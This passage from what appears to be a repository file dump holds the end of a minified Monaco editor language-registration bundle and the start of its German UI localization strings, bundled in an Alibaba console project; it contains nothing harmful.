reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/monaco.contribution\",[\"require\",\"exports\",\"vs/editor/edcore.main\"],function(s,e){\"use strict\";function i(e){var i=o[e].module;return new l.Promise(function(a,t,o){s([i],function(s){l.languages.setMonarchTokensProvider(e,s.language),l.languages.setLanguageConfiguration(e,s.conf),a(void 0)},t)})}function a(s){return n[s]||(n[s]=i(s)),n[s]}function t(s){var e=s.id;o[e]=s,l.languages.register(s),l.languages.onLanguage(e,function(){a(e)})}Object.defineProperty(e,\"__esModule\",{value:!0});var l=\"undefined\"==typeof monaco?self.monaco:monaco,o={},n={};e.loadLanguage=a,t({id:\"bat\",extensions:[\".bat\",\".cmd\"],aliases:[\"Batch\",\"bat\"],module:\"./bat\"}),t({id:\"coffeescript\",extensions:[\".coffee\"],aliases:[\"CoffeeScript\",\"coffeescript\",\"coffee\"],mimetypes:[\"text/x-coffeescript\",\"text/coffeescript\"],module:\"./coffee\"}),t({id:\"c\",extensions:[\".c\",\".h\"],aliases:[\"C\",\"c\"],module:\"./cpp\"}),t({id:\"cpp\",extensions:[\".cpp\",\".cc\",\".cxx\",\".hpp\",\".hh\",\".hxx\"],aliases:[\"C++\",\"Cpp\",\"cpp\"],module:\"./cpp\"}),t({id:\"csharp\",extensions:[\".cs\",\".csx\"],aliases:[\"C#\",\"csharp\"],module:\"./csharp\"}),t({id:\"dockerfile\",extensions:[\".dockerfile\"],filenames:[\"Dockerfile\"],aliases:[\"Dockerfile\"],module:\"./dockerfile\"}),t({id:\"fsharp\",extensions:[\".fs\",\".fsi\",\".ml\",\".mli\",\".fsx\",\".fsscript\"],aliases:[\"F#\",\"FSharp\",\"fsharp\"],module:\"./fsharp\"}),t({id:\"go\",extensions:[\".go\"],aliases:[\"Go\"],module:\"./go\"}),t({id:\"handlebars\",extensions:[\".handlebars\",\".hbs\"],aliases:[\"Handlebars\",\"handlebars\"],mimetypes:[\"text/x-handlebars-template\"],module:\"./handlebars\"}),t({id:\"html\",extensions:[\".html\",\".htm\",\".shtml\",\".xhtml\",\".mdoc\",\".jsp\",\".asp\",\".aspx\",\".jshtm\"],aliases:[\"HTML\",\"htm\",\"html\",\"xhtml\"],mimetypes:[\"text/html\",\"text/x-jshtm\",\"text/template\",\"text/ng-template\"],module:\"./html\"}),t({id:\"ini\",extensions:[\".ini\",\".properties\",\".gitconfig\"],filenames:[\"config\",\".gitattributes\",\".gitconfig\",\".editorconfig\"],aliases:[\"Ini\",\"ini\"],module:\"./ini\"}),t({id:\"pug\",extensions:[\".jade\",\".pug\"],aliases:[\"Pug\",\"Jade\",\"jade\"],module:\"./pug\"}),t({id:\"java\",extensions:[\".java\",\".jav\"],aliases:[\"Java\",\"java\"],mimetypes:[\"text/x-java-source\",\"text/x-java\"],module:\"./java\"}),t({id:\"lua\",extensions:[\".lua\"],aliases:[\"Lua\",\"lua\"],module:\"./lua\"}),t({id:\"markdown\",extensions:[\".md\",\".markdown\",\".mdown\",\".mkdn\",\".mkd\",\".mdwn\",\".mdtxt\",\".mdtext\"],aliases:[\"Markdown\",\"markdown\"],module:\"./markdown\"}),t({id:\"msdax\",extensions:[\".dax\",\".msdax\"],aliases:[\"DAX\",\"MSDAX\"],module:\"./msdax\"}),t({id:\"objective-c\",extensions:[\".m\"],aliases:[\"Objective-C\"],module:\"./objective-c\"}),t({id:\"postiats\",extensions:[\".dats\",\".sats\",\".hats\"],aliases:[\"ATS\",\"ATS/Postiats\"],module:\"./postiats\"}),t({id:\"php\",extensions:[\".php\",\".php4\",\".php5\",\".phtml\",\".ctp\"],aliases:[\"PHP\",\"php\"],mimetypes:[\"application/x-php\"],module:\"./php\"}),t({id:\"powershell\",extensions:[\".ps1\",\".psm1\",\".psd1\"],aliases:[\"PowerShell\",\"powershell\",\"ps\",\"ps1\"],module:\"./powershell\"}),t({id:\"python\",extensions:[\".py\",\".rpy\",\".pyw\",\".cpy\",\".gyp\",\".gypi\"],aliases:[\"Python\",\"py\"],firstLine:\"^#!/.*\\\\bpython[0-9.-]*\\\\b\",module:\"./python\"}),t({id:\"r\",extensions:[\".r\",\".rhistory\",\".rprofile\",\".rt\"],aliases:[\"R\",\"r\"],module:\"./r\"}),t({id:\"razor\",extensions:[\".cshtml\"],aliases:[\"Razor\",\"razor\"],mimetypes:[\"text/x-cshtml\"],module:\"./razor\"}),t({id:\"ruby\",extensions:[\".rb\",\".rbx\",\".rjs\",\".gemspec\",\".pp\"],filenames:[\"rakefile\"],aliases:[\"Ruby\",\"rb\"],module:\"./ruby\"}),t({id:\"swift\",aliases:[\"Swift\",\"swift\"],extensions:[\".swift\"],mimetypes:[\"text/swift\"],module:\"./swift\"}),t({id:\"sql\",extensions:[\".sql\"],aliases:[\"SQL\"],module:\"./sql\"}),t({id:\"vb\",extensions:[\".vb\"],aliases:[\"Visual Basic\",\"vb\"],module:\"./vb\"}),t({id:\"xml\",extensions:[\".xml\",\".dtd\",\".ascx\",\".csproj\",\".config\",\".wxi\",\".wxl\",\".wxs\",\".xaml\",\".svg\",\".svgz\"],firstLine:\"(\\\\<\\\\?xml.*)|(\\\\<svg)|(\\\\<\\\\!doctype\\\\s+svg)\",aliases:[\"XML\",\"xml\"],mimetypes:[\"text/xml\",\"application/xml\",\"application/xaml+xml\",\"application/xml-dtd\"],module:\"./xml\"}),t({id:\"less\",extensions:[\".less\"],aliases:[\"Less\",\"less\"],mimetypes:[\"text/x-less\",\"text/less\"],module:\"./less\"}),t({id:\"scss\",extensions:[\".scss\"],aliases:[\"Sass\",\"sass\",\"scss\"],mimetypes:[\"text/x-scss\",\"text/scss\"],module:\"./scss\"}),t({id:\"css\",extensions:[\".css\"],aliases:[\"CSS\",\"css\"],mimetypes:[\"text/css\"],module:\"./css\"}),t({id:\"yaml\",extensions:[\".yaml\",\".yml\"],aliases:[\"YAML\",\"yaml\",\"YML\",\"yml\"],mimetypes:[\"application/x-yaml\"],module:\"./yaml\"}),t({id:\"sol\",extensions:[\".sol\"],aliases:[\"sol\",\"solidity\",\"Solidity\"],module:\"./solidity\"}),t({id:\"sb\",extensions:[\".sb\"],aliases:[\"Small Basic\",\"sb\"],module:\"./sb\"})});\ndefine(\"vs/editor/editor.main\", [\"vs/editor/edcore.main\",\"vs/language/typescript/src/monaco.contribution\",\"vs/language/css/monaco.contribution\",\"vs/language/json/monaco.contribution\",\"vs/language/html/monaco.contribution\",\"vs/basic-languages/src/monaco.contribution\"], function() {});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.de.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.de\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (erneut aufgetreten)\"],\"vs/base/browser/ui/findinput/findInput\":[\"Eingabe\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Groß-/Kleinschreibung beachten\",\"Nur ganzes Wort suchen\",\"Regulären Ausdruck verwenden\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Fehler: {0}\",\"Warnung: {0}\",\"Info: {0}\"],\"vs/base/common/keybindingLabels\":[\"STRG\",\"UMSCHALTTASTE\",\"ALT\",\"Windows\",\"STRG\",\"UMSCHALTTASTE\",\"ALT\",\"Befehlstaste\",\"STRG\",\"UMSCHALTTASTE\",\"ALT\",\"Windows\"],\"vs/base/common/severity\":[\"Fehler\",\"Warnung\",\"Info\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, Auswahl\",\"Auswahl\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Schnellauswahl. Nehmen Sie eine Eingabe vor, um die Ergebnisse einzugrenzen.\",\"Schnellauswahl\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Zuklappen\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Kann die Dateien nicht vergleichen, da eine Datei zu groß ist.\"],\"vs/editor/browser/widget/diffReview\":[\"Schließen\",\"Unterschied von {0} zu {1}: Original {2}, {3} Zeilen, Geändert {4}, {5} Zeilen\",\"leer\",\"Original {0}, geändert {1}: {2}\",\"+ geändert {0}: {1}\",\"- Original {0}: {1}\",\"Zum nächsten Unterschied wechseln\",\"Zum vorherigen Unterschied wechseln\"],\"vs/editor/common/config/commonEditorConfig\":[\"Editor\",\"Steuert die Schriftfamilie.\",\"Steuert die Schriftbreite.\",\"Steuert den Schriftgrad in Pixeln.\",\"Steuert die Zeilenhöhe. Verwenden Sie 0, um LineHeight aus der FontSize-Angabe zu berechnen.\",\"Steuert den Zeichenabstand in Pixeln.\",'Steuert die Anzeige von Zeilennummern. Mögliche Werte sind \"Ein\", \"Aus\" und \"Relativ\". \"Relativ\" zeigt die Zeilenanzahl ab der aktuellen Cursorposition.',\"Spalten, an denen vertikale Lineale angezeigt werden sollen\",\"Zeichen, die als Worttrennzeichen verwendet werden, wenn wortbezogene Navigationen oder Vorgänge ausgeführt werden.\",'Die Anzahl der Leerzeichen, denen ein Tabstopp entspricht. Diese Einstellung wird basierend auf dem Inhalt der Datei überschrieben, wenn \"editor.detectIndentation\" aktiviert ist.','\"number\" wurde erwartet. Beachten Sie, dass der Wert \"auto\" durch die Einstellung \"editor.detectIndentation\" ersetzt wurde.','Fügt beim Drücken der TAB-TASTE Leerzeichen ein. Diese Einstellung wird basierend auf dem Inhalt der Datei überschrieben, wenn \"editor.detectIndentation\" aktiviert ist.','\"boolean\" wurde erwartet. Beachten Sie, dass der Wert \"auto\" durch die Einstellung \"editor.detectIndentation\" ersetzt wurde.','Beim Öffnen einer Datei werden \"editor.tabSize\" und \"editor.insertSpaces\" basierend auf den Dateiinhalten erkannt.',\"Steuert, ob die Auswahl runde Ecken aufweist.\",\"Legt fest, ob der Editor Bildläufe über die letzte Zeile hinaus ausführt.\",\"Steuert, ob die Minikarte angezeigt wird\",\"Steuert, ob der Minimap-Schieberegler automatisch ausgeblendet wird.\",\"Die tatsächlichen Zeichen in einer Zeile rendern (im Gegensatz zu Farbblöcken)\",\"Breite der Minikarte beschränken, um höchstens eine bestimmte Anzahl von Spalten zu rendern\",\"Steuert, ob wir für die Suchzeichenfolge im Suchwidget aus der Editorauswahl ein Seeding ausführen.\",'Steuert, ob die Kennzeichnung \"In Auswahl suchen\" aktiviert ist, wenn mehrere Zeichen oder Textzeilen im Editor ausgewählt wurden.',\"Zeilenumbrüche erfolgen nie.\",\"Der Zeilenumbruch erfolgt an der Breite des Anzeigebereichs.\",'Der Zeilenbereich erfolgt bei \"editor.wordWrapColumn\".','Der Zeilenumbruch erfolgt beim Mindestanzeigebereich und \"editor.wordWrapColumn\".','Steuert den Zeilenumbruch. Mögliche Einstellungen sind:\\n - \"off\" (Umbruch deaktivieren),\\n - \"on\" (Anzeigebereichsumbruch),\\n - \"wordWrapColumn\" (Umbruch bei \"editor.wordWrapColumn\") oder\\n - \"bounded\" (der Zeilenumbruch erfolgt beim Mindestanzeigebereich und \"editor.wordWrapColumn\").','Steuert die Umbruchspalte des Editors, wenn für \"editor.wordWrap\" die Option \"wordWrapColumn\" oder \"bounded\" festgelegt ist.','Steuert den Einzug der umbrochenen Zeilen. Der Wert kann \"none\", \"same\" oder \"indent\" sein.','Ein Multiplikator, der für die Mausrad-Bildlaufereignisse \"deltaX\" und \"deltaY\" verwendet werden soll.','Ist unter Windows und Linux der Taste \"STRG\" und unter OSX der Befehlstaste zugeordnet.','Ist unter Windows und Linux der Taste \"Alt\" und unter OSX der Wahltaste zugeordnet. ','Der Modifizierer, der zum Hinzufügen mehrerer Cursor mit der Maus verwendet wird. \"ctrlCmd\" wird unter Windows und Linux der Taste \"STRG\" und unter OSX der Befehlstaste zugeordnet. Die Mausbewegungen \"Gehe zu Definition\" und \"Link öffnen\" werden so angepasst, dass kein Konflikt mit dem Multi-Cursor-Modifizierer entsteht.',\"Schnellvorschläge innerhalb von Zeichenfolgen aktivieren.\",\"Schnellvorschläge innerhalb von Kommentaren aktivieren.\",\"Schnellvorschläge außerhalb von Zeichenfolgen und Kommentaren aktivieren.\",\"Steuert, ob Vorschläge während der Eingabe automatisch angezeigt werden sollen.\",\"Steuert die Verzögerung in ms für die Anzeige der Schnellvorschläge.\",\"Aktiviert ein Pop-Up, das Parameter-Dokumentation und Typ-Information während des Tippens anzeigt\",\"Steuert, ob der Editor Klammern automatisch nach dem Öffnen schließt.\",\"Steuert, ob der Editor Zeilen automatisch nach der Eingabe formatiert.\",\"Steuert, ob der Editor den eingefügten Inhalt automatisch formatiert.\",\"Steuert, ob der Editor die Einzüge automatisch anpasst, wenn Benutzer Text eingeben oder Zeilen einfügen oder verschieben. Einzugsregeln der Sprache müssen verfügbar sein. \",\"Steuert, ob Vorschläge automatisch bei der Eingabe von Triggerzeichen angezeigt werden.\",'Steuert, ob Vorschläge über die Eingabetaste (zusätzlich zur TAB-Taste) angenommen werden sollen. Vermeidet Mehrdeutigkeit zwischen dem Einfügen neuer Zeilen oder dem Annehmen von Vorschlägen. Der Wert \"smart\" bedeutet, dass ein Vorschlag nur über die Eingabetaste akzeptiert wird, wenn eine Textänderung vorgenommen wird.','Steuert, ob Vorschläge über Commitzeichen angenommen werden sollen. In JavaScript kann ein Semikolon (\";\") beispielsweise ein Commitzeichen sein, das einen Vorschlag annimmt und dieses Zeichen eingibt.',\"Zeige Snippet Vorschläge über den anderen Vorschlägen.\",\"Snippet Vorschläge unter anderen Vorschlägen anzeigen.\",\"Zeige Snippet Vorschläge mit anderen Vorschlägen.\",\"Snippet Vorschläge nicht anzeigen.\",\"Steuert, ob Codeausschnitte mit anderen Vorschlägen angezeigt und wie diese sortiert werden.\",\"Steuert, ob ein Kopiervorgang ohne Auswahl die aktuelle Zeile kopiert.\",\"Steuert, ob Vervollständigungen auf Grundlage der Wörter im Dokument berechnet werden sollen.\",\"Schriftgröße für Vorschlagswidget\",\"Zeilenhöhe für Vorschlagswidget\",\"Steuert, ob der Editor der Auswahl ähnelnde Übereinstimmungen hervorheben soll.\",\"Steuert, ob der Editor das Vorkommen semantischer Symbole markieren soll.\",\"Steuert die Anzahl von Dekorationen, die an derselben Position im Übersichtslineal angezeigt werden.\",\"Steuert, ob um das Übersichtslineal ein Rahmen gezeichnet werden soll.\",'Steuert den Cursoranimationsstil. Gültige Werte sind \"blink\", \"smooth\", \"phase\", \"expand\" und \"solid\".',\"Schriftart des Editors vergrößern, wenn das Mausrad verwendet und die STRG-TASTE gedrückt wird\",'Steuert den Cursorstil. Gültige Werte sind  \"block\", \"block-outline\", \"line\", \"line-thin\", \"underline\" und \"underline-thin\".',\"Aktiviert Schriftartligaturen.\",\"Steuert die Sichtbarkeit des Cursors im Übersichtslineal.\",'Steuert, wie der Editor Leerzeichen rendert. Mögliche Optionen: \"none\", \"boundary\" und \"all\". Die Option \"boundary\" rendert keine einzelnen Leerzeichen zwischen Wörtern.',\"Steuert, ob der Editor Steuerzeichen rendern soll.\",\"Steuert, ob der Editor Einzugsführungslinien rendern soll.\",'Steuert, wie der Editor die aktuelle Zeilenhervorhebung rendern soll. Mögliche Werte sind \"none\", \"gutter\", \"line\" und \"all\".',\"Steuert, ob der Editor CodeLenses anzeigt.\",\"Steuert, ob für den Editor Codefaltung aktiviert ist.\",\"Steuert, ob die Falt-Steuerelemente an der Leiste automatisch ausgeblendet werden.\",\"Übereinstimmende Klammern hervorheben, wenn eine davon ausgewählt wird.\",\"Steuert, ob der Editor den vertikalen Glyphenrand rendert. Der Glyphenrand wird hauptsächlich zum Debuggen verwendet.\",\"Das Einfügen und Löschen von Leerzeichen folgt auf Tabstopps.\",\"Nachfolgendes automatisch eingefügtes Leerzeichen entfernen\",\"Peek-Editoren geöffnet lassen, auch wenn auf ihren Inhalt doppelgeklickt oder die ESC-TASTE gedrückt wird.\",\"Steuert, ob der Editor das Verschieben einer Auswahl per Drag and Drop zulässt.\",\"Der Editor verwendet Plattform-APIs, um zu erkennen, wenn eine Sprachausgabe angefügt wird.\",\"Der Editor wird durchgehend für die Verwendung mit einer Sprachausgabe optimiert.\",\"Der Editor wird nie für die Verwendung mit einer Sprachausgabe optimiert. \",\"Steuert, ob der Editor in einem Modus ausgeführt werden soll, in dem er für die Sprachausgabe optimiert wird.\",\"Steuert, ob der Editor Links erkennen und anklickbar machen soll\",\"Steuert, ob der Diff-Editor das Diff nebeneinander oder inline anzeigt.\",\"Steuert, ob der Diff-Editor Änderungen in führenden oder nachgestellten Leerzeichen als Diffs anzeigt.\",'Steuert, ob der Diff-Editor die Indikatoren \"+\" und \"-\" für hinzugefügte/entfernte Änderungen anzeigt.',\"Steuert, ob die primäre Linux-Zwischenablage unterstützt werden soll.\"],\"vs/editor/common/config/editorOptions\":[\"Der Editor ist zurzeit nicht verfügbar. Drücken Sie Alt+F1 für Optionen.\",\"Editor-Inhalt\"],\"vs/editor/common/controller/cursor\":[\"Unerwartete Ausnahme beim Ausführen des Befehls.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Fehler des Modus bei der Tokenumwandlung der Eingabe.\"],\"vs/editor/common/modes/modesRegistry\":[\"Nur-Text\"],\"vs/editor/common/services/bulkEdit\":[\"Die folgenden Dateien wurden in der Zwischenzeit geändert: {0}\",\"Keine Änderungen vorgenommen\",\"{0} Änderungen am Text in {1} Dateien vorgenommen\",\"{0} Änderungen am Text in einer Datei vorgenommen\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Hintergrundfarbe zur Hervorhebung der Zeile an der Cursorposition.\",\"Hintergrundfarbe für den Rahmen um die Zeile an der Cursorposition.\",\"Hintergrundfarbe hervorgehobener Bereiche (beispielsweise durch Features wie Quick Open und Suche).\",\"Farbe des Cursors im Editor.\",\"Hintergrundfarbe vom Editor-Cursor. Erlaubt die Anpassung der Farbe von einem Zeichen, welches von einem Block-Cursor überdeckt wird.\",\"Farbe der Leerzeichen im Editor.\",\"Farbe der Führungslinien für Einzüge im Editor.\",\"Zeilennummernfarbe im Editor.\",\"Farbe des Editor-Lineals.\",\"Vordergrundfarbe der CodeLens-Links im Editor\",\"Hintergrundfarbe für zusammengehörige Klammern\",\"Farbe für zusammengehörige Klammern\",\"Farbe des Rahmens für das Übersicht-Lineal.\",\"Hintergrundfarbe der Editorleiste. Die Leiste enthält die Glyphenränder und die Zeilennummern.\",\"Vordergrundfarbe von Fehlerunterstreichungen im Editor.\",\"Rahmenfarbe von Fehlerunterstreichungen im Editor.\",\"Vordergrundfarbe von Warnungsunterstreichungen im Editor.\",\"Rahmenfarbe von Warnungsunterstreichungen im Editor.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Gehe zu Klammer\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Caretzeichen nach links verschieben\",\"Caretzeichen nach rechts verschieben\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Buchstaben austauschen\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Ausschneiden\",\"Kopieren\",\"Einfügen\",\"Mit Syntaxhervorhebung kopieren\"],\"vs/editor/contrib/comment/common/comment\":[\"Zeilenkommentar umschalten\",\"Zeilenkommentar hinzufügen\",\"Zeilenkommentar entfernen\",\"Blockkommentar umschalten\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Editor-Kontextmenü anzeigen\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Suchen\",\"Suchen\",\"Vorherige Übereinstimmung\",\"Nächste Übereinstimmung\",\"In Auswahl suchen\",\"Schließen\",\"Ersetzen\",\"Ersetzen\",\"Ersetzen\",\"Alle ersetzen\",\"Ersetzen-Modus wechseln\",\"Nur die ersten 999 Ergebnisse werden hervorgehoben, alle Suchvorgänge beziehen sich aber auf den gesamten Text.\",\"{0} von {1}\",\"Keine Ergebnisse\"],\"vs/editor/contrib/find/common/findController\":[\"Suchen\",\"Nächstes Element suchen\",\"Vorheriges Element suchen\",\"Nächste Auswahl suchen\",\"Vorherige Auswahl suchen\",\"Ersetzen\",\"Auswahl zur nächsten Übereinstimmungssuche hinzufügen\",\"Letzte Auswahl zu vorheriger Übereinstimmungssuche hinzufügen\",\"Letzte Auswahl in nächste Übereinstimmungssuche verschieben\",\"Letzte Auswahl in vorherige Übereinstimmungssuche verschieben\",\"Alle Vorkommen auswählen und Übereinstimmung suchen\",\"Alle Vorkommen ändern\",\"Nächsten Suchbegriff anzeigen\",\"Vorherigen Suchbegriff anzeigen\"],\"vs/editor/contrib/folding/browser/folding\":[\"Auffalten\",\"Faltung rekursiv aufheben\",\"Falten\",\"Rekursiv falten\",\"Alle falten\",\"Alle auffalten\",\"Faltebene {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"1 Formatierung in Zeile {0} vorgenommen\",\"{0} Formatierungen in Zeile {1} vorgenommen\",\"1 Formatierung zwischen Zeilen {0} und {1} vorgenommen\",\"{0} Formatierungen zwischen Zeilen {1} und {2} vorgenommen\",\"Format Document\",\"Format Selection\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":['Keine Definition gefunden für \"{0}\".',\"Keine Definition gefunden\",\" – {0} Definitionen\",\"Gehe zu Definition\",\"Definition an der Seite öffnen\",\"Peek-Definition\",'Keine Implementierung gefunden für \"{0}\"',\"Keine Implementierung gefunden\",\"{0} Implementierungen\",\"Zur Implementierung wechseln\",\"Vorschau der Implementierung anzeigen\",'Keine Typendefinition gefunden für \"{0}\"',\"Keine Typendefinition gefunden\",\"{0} Typdefinitionen\",\"Zur Typdefinition wechseln\",\"Vorschau der Typdefinition anzeigen\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Klicken Sie, um {0} Definitionen anzuzeigen.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Gehe zum nächsten Fehler oder zur nächsten Warnung\",\"Gehe zum vorherigen Fehler oder zur vorherigen Warnung\",\"Editormarkierung: Farbe bei Fehler des Navigationswidgets.\",\"Editormarkierung: Farbe bei Warnung des Navigationswidgets.\",\"Editormarkierung: Hintergrund des Navigationswidgets.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Hovern anzeigen\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Wird geladen...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Durch vorherigen Wert ersetzen\",\"Durch nächsten Wert ersetzen\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Zeile nach oben kopieren\",\"Zeile nach unten kopieren\",\"Zeile nach oben verschieben\",\"Zeile nach unten verschieben\",\"Zeilen aufsteigend sortieren\",\"Zeilen absteigend sortieren\",\"Nachgestelltes Leerzeichen kürzen\",\"Zeile löschen\",\"Zeileneinzug\",\"Zeile ausrücken\",\"Zeile oben einfügen\",\"Zeile unten einfügen\",\"Alle übrigen löschen\",\"Alle rechts löschen\",\"Zeilen verknüpfen\",\"Zeichen um den Cursor herum transponieren\",\"In Großbuchstaben umwandeln\",\"In Kleinbuchstaben umwandeln\"],\"vs/editor/contrib/links/browser/links\":[\"BEFEHLSTASTE + Mausklick zum Aufrufen des Links\",\"STRG + Mausklick zum Aufrufen des Links\",\"Cmd + Klick um Befehl auszuführen\",\"Ctrl + Klick um Befehl auszuführen.\",\"ALT + Mausklick zum Aufrufen des Links\",\"Alt + Klick um Befehl auszuführen.\",\"Fehler beim Öffnen dieses Links, weil er nicht wohlgeformt ist: {0}\",\"Fehler beim Öffnen dieses Links, weil das Ziel fehlt.\",\"Link öffnen\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Cursor oberhalb hinzufügen\",\"Cursor unterhalb hinzufügen\",\"Cursor an Zeilenenden hinzufügen\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Parameterhinweise auslösen\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, Hinweis\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Korrekturen anzeigen ({0})\",\"Korrekturen anzeigen\",\"Schnelle Problembehebung\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" – {0} Verweise\",\"Alle Verweise suchen\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Wird geladen...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"Symbol in {0} in Zeile {1}, Spalte {2}\",\"1 Symbol in {0}, vollständiger Pfad {1}\",\"{0} Symbole in {1}, vollständiger Pfad {2}\",\"Es wurden keine Ergebnisse gefunden.\",\"1 Symbol in {0} gefunden\",\"{0} Symbole in {1} gefunden\",\"{0} Symbole in {1} Dateien gefunden\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Fehler beim Auflösen der Datei.\",\"{0} Verweise\",\"{0} Verweis\",\"Keine Vorschau verfügbar.\",\"Verweise\",\"Keine Ergebnisse\",\"Verweise\",\"Hintergrundfarbe des Titelbereichs der Peek-Ansicht.\",\"Farbe des Titels in der Peek-Ansicht.\",\"Farbe der Titelinformationen in der Peek-Ansicht.\",\"Farbe der Peek-Ansichtsränder und des Pfeils.\",\"Hintergrundfarbe der Ergebnisliste in der Peek-Ansicht.\",\"Vordergrundfarbe für Zeilenknoten in der Ergebnisliste der Peek-Ansicht.\",\"Vordergrundfarbe für Dateiknoten in der Ergebnisliste der Peek-Ansicht.\",\"Hintergrundfarbe des ausgewählten Eintrags in der Ergebnisliste der Peek-Ansicht.\",\"Vordergrundfarbe des ausgewählten Eintrags in der Ergebnisliste der Peek-Ansicht.\",\"Hintergrundfarbe des Peek-Editors.\",\"Hintergrundfarbe der Leiste im Peek-Editor.\",\"Farbe für Übereinstimmungsmarkierungen in der Ergebnisliste der Peek-Ansicht.\",\"Farbe für Übereinstimmungsmarkierungen im Peek-Editor.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Kein Ergebnis.\",'\"{0}\" erfolgreich in \"{1}\" umbenannt. Zusammenfassung: {2}',\"Fehler bei der Ausführung der Umbenennung.\",\"Symbol umbenennen\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Benennen Sie die Eingabe um. Geben Sie einen neuen Namen ein, und drücken Sie die EINGABETASTE, um den Commit auszuführen.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Auswahl erweitern\",\"Auswahl verkleinern\"],\"vs/editor/contrib/suggest/browser/suggestController\":['Durch Annahme von \"{0}\" wurde folgender Text eingefügt: {1}',\"Vorschlag auslösen\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Hintergrundfarbe des Vorschlagswidgets.\",\"Rahmenfarbe des Vorschlagswidgets.\",\"Vordergrundfarbe des Vorschlagswidgets.\",\"Hintergrundfarbe des ausgewählten Eintrags im Vorschlagswidget.\",\"Farbe der Trefferhervorhebung im Vorschlagswidget.\",\"Mehr anzeigen...{0}\",\"{0}, Vorschlag, hat Details\",\"{0}, Vorschlag\",\"Weniger anzeigen...{0}\",\"Wird geladen...\",\"Keine Vorschläge.\",\"{0}, angenommen\",\"{0}, Vorschlag, hat Details\",\"{0}, Vorschlag\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"TAB-Umschalttaste verschiebt Fokus\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Hintergrundfarbe eines Symbols beim Lesezugriff (beispielsweise beim Lesen einer Variablen).\",\"Hintergrundfarbe eines Symbols beim Schreibzugriff (beispielsweise beim Schreiben in eine Variable).\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Schließen\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Standard-Konfiguration überschreibt\",\"Zu überschreibende Einstellungen für Sprache {0} konfigurieren.\",\"Zu überschreibende Editor-Einstellungen für eine Sprache konfigurieren.\",'\"{0}\" kann nicht registriert werden. Die 